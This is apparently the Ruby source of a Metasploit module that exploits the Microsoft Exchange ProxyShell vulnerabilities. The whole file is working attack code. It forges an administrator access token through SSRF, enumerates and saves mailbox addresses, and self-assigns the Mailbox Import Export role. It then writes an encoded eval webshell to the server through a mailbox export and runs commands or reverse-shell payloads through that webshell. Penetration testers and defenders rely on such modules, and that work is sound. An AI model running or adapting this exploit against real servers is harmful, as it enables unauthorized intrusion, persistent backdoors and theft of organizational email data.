Microsoft Exchange ProxyShell RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Exchange ProxyShell RCE',
        'Description' => %q{
          This module exploits a vulnerability on Microsoft Exchange Server that
          allows an attacker to bypass the authentication (CVE-2021-31207), impersonate an
          arbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve
          the RCE (Remote Code Execution).

          By taking advantage of this vulnerability, you can execute arbitrary
          commands on the remote Microsoft Exchange Server.

          This vulnerability affects Exchange 2013 CU23 < 15.0.1497.15,
          Exchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5,
          Exchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9.

          All components are vulnerable by default.
        },
        'Author' => [
          'Orange Tsai', # Discovery
          'Jang (@testanull)', # Vulnerability analysis
          'PeterJson', # Vulnerability analysis
          'brandonshi123', # Vulnerability analysis
          'mekhalleh (RAMELLA Sébastien)', # exchange_proxylogon_rce template
          'Donny Maasland', # Procedure optimizations (email enumeration)
          'Rich Warren', # Procedure optimizations (email enumeration)
          'Spencer McIntyre', # Metasploit module
          'wvu' # Testing
        ],
        'References' => [
          [ 'CVE', '2021-34473' ],
          [ 'CVE', '2021-34523' ],
          [ 'CVE', '2021-31207' ],
          [ 'URL', 'https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1' ],
          [ 'URL', 'https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf' ],
          [ 'URL', 'https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/' ],
          [ 'URL', 'https://github.com/dmaasland/proxyshell-poc' ]
        ],
        'DisclosureDate' => '2021-04-06', # pwn2own 2021
        'License' => MSF_LICENSE,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Platform' => ['windows'],
        'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],
        'Privileged' => true,
        'Targets' => [
          [
            'Windows Powershell',
            {
              'Platform' => 'windows',
              'Arch' => [ARCH_X64, ARCH_X86],
              'Type' => :windows_powershell,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Windows Dropper',
            {
              'Platform' => 'windows',
              'Arch' => [ARCH_X64, ARCH_X86],
              'Type' => :windows_dropper,
              'CmdStagerFlavor' => %i[psh_invokewebrequest],
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
                'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest'
              }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'windows',
              'Arch' => [ARCH_CMD],
              'Type' => :windows_command,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'AKA' => ['ProxyShell'],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options([
      OptString.new('EMAIL', [false, 'A known email address for this organization']),
      OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false]),
    ])

    register_advanced_options([
      OptString.new('BackendServerName', [false, 'Force the name of the backend Exchange server targeted']),
      OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\Program Files\\Microsoft\\Exchange Server\\V15']),
      OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\auth']),
      OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\inetpub\\wwwroot']),
      OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),
      OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002'])
    ])
  end

  def check
    @ssrf_email ||= Faker::Internet.email
    res = send_http('GET', '/mapi/nspi/')
    return CheckCode::Unknown if res.nil?
    return CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint'

    CheckCode::Vulnerable
  end

  def cmd_windows_generic?
    datastore['PAYLOAD'] == 'cmd/windows/generic'
  end

  def encode_cmd(cmd)
    cmd.gsub!('\\', '\\\\\\')
    cmd.gsub('"', '\u0022').gsub('&', '\u0026').gsub('+', '\u002b')
  end

  def random_mapi_id
    id = "{#{Rex::Text.rand_text_hex(8)}"
    id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
    id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
    id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
    id = "#{id}-#{Rex::Text.rand_text_hex(12)}}"
    id.upcase
  end

  def request_autodiscover(email)
    xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }

    response = send_http(
      'POST',
      '/autodiscover/autodiscover.xml',
      data: XMLTemplate.render('soap_autodiscover', email: email),
      ctype: 'text/xml; charset=utf-8'
    )

    case response.body
    when %r{<ErrorCode>500</ErrorCode>}
      fail_with(Failure::NotFound, 'No Autodiscover information was found')
    when %r{<Action>redirectAddr</Action>}
      fail_with(Failure::NotFound, 'No email address was found')
    end

    xml = Nokogiri::XML.parse(response.body)

    legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content
    fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.nil? || legacy_dn.empty?

    server = ''
    xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|
      type = item.at_xpath('./xmlns:Type', xmlns)&.content
      if type == 'EXCH'
        server = item.at_xpath('./xmlns:Server', xmlns)&.content
      end
    end
    fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty?

    { server: server, legacy_dn: legacy_dn }
  end

  def request_fqdn
    ntlm_ssp = "NTLMSSP\x00\x01\x00\x00\x00\x05\x02\x88\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    received = send_request_raw(
      'method' => 'RPC_IN_DATA',
      'uri' => normalize_uri('rpc', 'rpcproxy.dll'),
      'headers' => {
        'Authorization' => "NTLM #{Rex::Text.encode_base64(ntlm_ssp)}"
      }
    )
    fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received

    if received.code == 401 && received['WWW-Authenticate'] && received['WWW-Authenticate'].match(/^NTLM/i)
      hash = received['WWW-Authenticate'].split('NTLM ')[1]
      message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash))
      dns_server = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME]

      return dns_server.force_encoding('UTF-16LE').encode('UTF-8').downcase
    end

    fail_with(Failure::NotFound, 'No Backend server was found')
  end

  # https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff
  def request_mapi(legacy_dn)
    data = "#{legacy_dn}\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
    headers = {
      'X-RequestType' => 'Connect',
      'X-ClientInfo' => random_mapi_id,
      'X-ClientApplication' => datastore['MapiClientApp'],
      'X-RequestId' => "#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}"
    }

    sid = ''
    response = send_http(
      'POST',
      '/mapi/emsmdb',
      data: data,
      ctype: 'application/mapi-http',
      headers: headers
    )
    if response&.code == 200
      sid = response.body.match(/S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/).to_s
    end
    fail_with(Failure::NotFound, 'No \'SID\' was found') if sid.empty?

    sid
  end

  def get_sid_for_email(email)
    autodiscover = request_autodiscover(email)
    request_mapi(autodiscover[:legacy_dn])
  end

  # pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin.
  def exploit_setup
    if datastore['BackendServerName'] && !datastore['BackendServerName'].empty?
      server_name = datastore['BackendServerName']
      print_status("Internal server name forced to: #{server_name}")
    else
      print_status('Retrieving backend FQDN over RPC request')
      server_name = request_fqdn
      print_status("Internal server name: #{server_name}")
    end
    @backend_server_name = server_name

    get_common_access_token
    print_good('Successfully assigned the \'Mailbox Import Export\' role')
    print_good("Proceeding with SID: #{@mailbox_user_sid} (#{@mailbox_user_email})")
  end

  def probe_powershell_backend(common_access_token)
    powershell_probe = send_http('GET', "/PowerShell/?X-Rps-CAT=#{common_access_token}")
    fail_with(Failure::UnexpectedReply, 'Failed to access the PowerShell backend') unless powershell_probe&.code == 200
  end

  # this function doesn't return unless it's successful
  def get_common_access_token
    # get a SID from the specified email address
    email_address = datastore['EMAIL']
    unless email_address.blank?
      sid = get_sid_for_email(email_address)
      vprint_status("SID: #{sid} (#{email_address})")
      common_access_token = build_token(sid)
      probe_powershell_backend(common_access_token)

      print_status("Assigning the 'Mailbox Import Export' role via #{email_address}")
      role_assigned = execute_powershell('New-ManagementRoleAssignment', cat: common_access_token, args: [
        { name: '-Role', value: 'Mailbox Import Export' },
        { name: '-User', value: email_address }
      ])
      unless role_assigned
        fail_with(Failure::BadConfig, 'The specified email address does not have the \'Mailbox Import Export\' role and can not self-assign it')
      end

      @mailbox_user_sid = sid
      @mailbox_user_email = email_address
      @common_access_token = common_access_token
      return
    end

    print_status('Enumerating valid email addresses and searching for one that either has the \'Mailbox Import Export\' role or can self-assign it')
    get_emails.each do |this_email_address|
      next if this_email_address == email_address # already tried this one

      vprint_status("Reattempting to assign the 'Mailbox Import Export' role via #{this_email_address}")
      begin
        this_sid = get_sid_for_email(this_email_address)
      rescue RuntimeError
        print_error("Failed to identify the SID for #{this_email_address}")
        next
      end

      common_access_token = build_token(this_sid)
      role_assigned = execute_powershell('New-ManagementRoleAssignment', cat: common_access_token, args: [
        { name: '-Role', value: 'Mailbox Import Export' },
        { name: '-User', value: this_email_address }
      ])
      next unless role_assigned

      @mailbox_user_sid = this_sid
      @mailbox_user_email = this_email_address
      @common_access_token = common_access_token
      return # rubocop:disable Lint/NonLocalExitFromIterator
    end

    fail_with(Failure::NoAccess, 'No user with the necessary management role was identified')
  end

  def send_http(method, uri, opts = {})
    ssrf = "Autodiscover/autodiscover.json?a=#{@ssrf_email}"
    opts[:cookie] = "Email=#{ssrf}"
    super(method, "/#{ssrf}#{uri}", opts)
  end

  def get_emails
    mailbox_table = Rex::Text::Table.new(
      'Header' => 'Exchange Mailboxes',
      'Columns' => %w[EmailAddress Name RoutingType MailboxType]
    )

    MailboxEnumerator.new(self).each do |row|
      mailbox_table << row
    end

    print_status("Enumerated #{mailbox_table.rows.length} email addresses")
    stored_path = store_loot('ad.exchange.mailboxes', 'text/csv', rhost, mailbox_table.to_csv)
    print_status("Saved mailbox and email address data to: #{stored_path}")

    mailbox_table.rows.map(&:first)
  end

  def create_embedded_draft(user_sid)
    @shell_input_name = rand_text_alphanumeric(8..12)
    @draft_subject = rand_text_alphanumeric(8..12)
    print_status("Saving a draft email with subject '#{@draft_subject}' containing the attachment with the embedded webshell")
    payload = Rex::Text.encode_base64(PstEncoding.encode("#<script language=\"JScript\" runat=\"server\">function Page_Load(){eval(Request[\"#{@shell_input_name}\"],\"unsafe\");}</script>"))
    file_name = "#{Faker::Lorem.word}#{%w[- _].sample}#{Faker::Lorem.word}.#{%w[rtf pdf docx xlsx pptx zip].sample}"
    envelope = XMLTemplate.render('soap_draft', user_sid: user_sid, file_content: payload, file_name: file_name, subject: @draft_subject)

    send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')
  end

  def web_directory
    if datastore['UseAlternatePath']
      datastore['IISWritePath'].gsub('\\', '/')
    else
      datastore['ExchangeWritePath'].gsub('\\', '/')
    end
  end

  def build_token(sid)
    uint8_tlv = proc do |type, value|
      type + [value.length].pack('C') + value
    end

    token = uint8_tlv.call('V', "\x00")
    token << uint8_tlv.call('T', 'Windows')
    token << "\x43\x00"
    token << uint8_tlv.call('A', 'Kerberos')
    token << uint8_tlv.call('L', 'Administrator')
    token << uint8_tlv.call('U', sid)

    # group data for S-1-5-32-544
    token << "\x47\x01\x00\x00\x00\x07\x00\x00\x00\x0c\x53\x2d\x31\x2d\x35\x2d\x33\x32\x2d\x35\x34\x34\x45\x00\x00\x00\x00"
    Rex::Text.encode_base64(token)
  end

  def exploit
    @ssrf_email ||= Faker::Internet.email
    print_status('Attempt to exploit for CVE-2021-34473')
    exploit_setup

    create_embedded_draft(@mailbox_user_sid)
    @shell_filename = "#{rand_text_alphanumeric(8..12)}.aspx"
    if datastore['UseAlternatePath']
      unc_path = "#{datastore['IISBasePath'].split(':')[1]}\\#{datastore['IISWritePath']}"
      unc_path = "\\\\\\\\#{@backend_server_name}\\#{datastore['IISBasePath'].split(':')[0]}$#{unc_path}\\#{@shell_filename}"
    else
      unc_path = "#{datastore['ExchangeBasePath'].split(':')[1]}\\FrontEnd\\HttpProxy\\#{datastore['ExchangeWritePath']}"
      unc_path = "\\\\\\\\#{@backend_server_name}\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{unc_path}\\#{@shell_filename}"
    end

    normal_path = unc_path.gsub(/^\\+[\w.-]+\\(.)\$\\/, '\1:\\')
    print_status("Writing to: #{normal_path}")
    register_file_for_cleanup(normal_path)

    @export_name = rand_text_alphanumeric(8..12)
    successful = execute_powershell('New-MailboxExportRequest', cat: @common_access_token, args: [
      { name: '-Name', value: @export_name },
      { name: '-Mailbox', value: @mailbox_user_email },
      { name: '-IncludeFolders', value: '#Drafts#' },
      { name: '-ContentFilter', value: "(Subject -eq '#{@draft_subject}')" },
      { name: '-ExcludeDumpster' },
      { name: '-FilePath', value: unc_path }
    ])
    fail_with(Failure::UnexpectedReply, 'The mailbox export request failed') unless successful

    exported = false
    print_status('Waiting for the export request to complete...')
    30.times do
      sleep 5
      next unless send_request_cgi('uri' => normalize_uri(web_directory, @shell_filename))&.code == 200

      print_good('The mailbox export request has completed')
      exported = true
      break
    end

    fail_with(Failure::Unknown, 'The mailbox export request timed out') unless exported

    print_status('Triggering the payload')
    case target['Type']
    when :windows_command
      vprint_status("Generated payload: #{payload.encoded}")

      if !cmd_windows_generic?
        execute_command(payload.encoded)
      else
        boundary = rand_text_alphanumeric(8..12)
        response = execute_command("cmd /c echo START#{boundary}&#{payload.encoded}&echo END#{boundary}")

        print_warning('Dumping command output in response')
        if response.body =~ /START#{boundary}(.*)END#{boundary}/m
          print_line(Regexp.last_match(1).strip)
        else
          print_error('Empty response, no command output')
        end
      end
    when :windows_dropper
      execute_command(generate_cmdstager(concat_operator: ';').join)
    when :windows_powershell
      cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)
      execute_command(cmd)
    end
  end

  def cleanup
    super
    return unless @common_access_token && @export_name

    print_status('Removing the mailbox export request')
    execute_powershell('Remove-MailboxExportRequest', cat: @common_access_token, args: [
      { name: '-Identity', value: "#{@mailbox_user_email}\\#{@export_name}" },
      { name: '-Confirm', value: false }
    ])

    print_status('Removing the draft email')
    execute_powershell('Search-Mailbox', cat: @common_access_token, args: [
      { name: '-Identity', value: @mailbox_user_email },
      { name: '-SearchQuery', value: "Subject:\"#{@draft_subject}\"" },
      { name: '-Force' },
      { name: '-DeleteContent' }
    ])
  end

  def execute_command(cmd, _opts = {})
    if !cmd_windows_generic?
      cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\"));"
    else
      cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\").StdOut.ReadAll());"
    end

    send_request_raw(
      'method' => 'POST',
      'uri' => normalize_uri(web_directory, @shell_filename),
      'ctype' => 'application/x-www-form-urlencoded',
      'data' => "#{@shell_input_name}=#{cmd}"
    )
  end
end

# Use https://learn.microsoft.com/en-us/exchange/client-developer/web-service-reference/resolvenames to resolve mailbox
# information. The endpoint only returns 100 at a time though so if the target has more than that many email addresses
# multiple requests will need to be made. Since the endpoint doesn't support pagination, we refine the query by using
# progressively larger search prefixes until there are less than 101 results and thus will fit into a single response.
class MailboxEnumerator
  def initialize(mod)
    @mod = mod
  end

  # the characters that Exchange Server 2019 allows in an alias (no unicode)
  ALIAS_CHARSET = 'abcdefghijklmnopqrstuvwxyz0123456789!#$%&\'*+-/=?^_`{|}~'.freeze
  XML_NS = {
    'm' => 'http://schemas.microsoft.com/exchange/services/2006/messages',
    't' => 'http://schemas.microsoft.com/exchange/services/2006/types'
  }.freeze

  include Enumerable
  XMLTemplate = Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell::XMLTemplate

  def each(name: 'SMTP:', &block)
    envelope = XMLTemplate.render('soap_getemails', name: name)
    res = @mod.send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')
    return unless res&.code == 200

    if res.get_xml_document.xpath('//m:ResolutionSet/@IncludesLastItemInRange', XML_NS).first&.text&.downcase == 'false'
      ALIAS_CHARSET.each_char do |char|
        each(name: name + char, &block)
      end
    else
      res.get_xml_document.xpath('//t:Mailbox', XML_NS).each do |mailbox|
        yield %w[t:EmailAddress t:Name t:RoutingType t:MailboxType].map { |xpath| mailbox.xpath(xpath, XML_NS)&.text || '' }
      end
    end
  end
end

class PstEncoding
  ENCODE_TABLE = [
    71, 241, 180, 230, 11, 106, 114, 72,
    133, 78, 158, 235, 226, 248, 148, 83,
    224, 187, 160, 2, 232, 90, 9, 171,
    219, 227, 186, 198, 124, 195, 16, 221,
    57, 5, 150, 48, 245, 55, 96, 130,
    140, 201, 19, 74, 107, 29, 243, 251,
    143, 38, 151, 202, 145, 23, 1, 196,
    50, 45, 110, 49, 149, 255, 217, 35,
    209, 0, 94, 121, 220, 68, 59, 26,
    40, 197, 97, 87, 32, 144, 61, 131,
    185, 67, 190, 103, 210, 70, 66, 118,
    192, 109, 91, 126, 178, 15, 22, 41,
    60, 169, 3, 84, 13, 218, 93, 223,
    246, 183, 199, 98, 205, 141, 6, 211,
    105, 92, 134, 214, 20, 247, 165, 102,
    117, 172, 177, 233, 69, 33, 112, 12,
    135, 159, 116, 164, 34, 76, 111, 191,
    31, 86, 170, 46, 179, 120, 51, 80,
    176, 163, 146, 188, 207, 25, 28, 167,
    99, 203, 30, 77, 62, 75, 27, 155,
    79, 231, 240, 238, 173, 58, 181, 89,
    4, 234, 64, 85, 37, 81, 229, 122,
    137, 56, 104, 82, 123, 252, 39, 174,
    215, 189, 250, 7, 244, 204, 142, 95,
    239, 53, 156, 132, 43, 21, 213, 119,
    52, 73, 182, 18, 10, 127, 113, 136,
    253, 157, 24, 65, 125, 147, 216, 88,
    44, 206, 254, 36, 175, 222, 184, 54,
    200, 161, 128, 166, 153, 152, 168, 47,
    14, 129, 101, 115, 228, 194, 162, 138,
    212, 225, 17, 208, 8, 139, 42, 242,
    237, 154, 100, 63, 193, 108, 249, 236
  ].freeze

  def self.encode(data)
    encoded = ''
    data.each_char do |char|
      encoded << ENCODE_TABLE[char.ord].chr
    end
    encoded
  end
end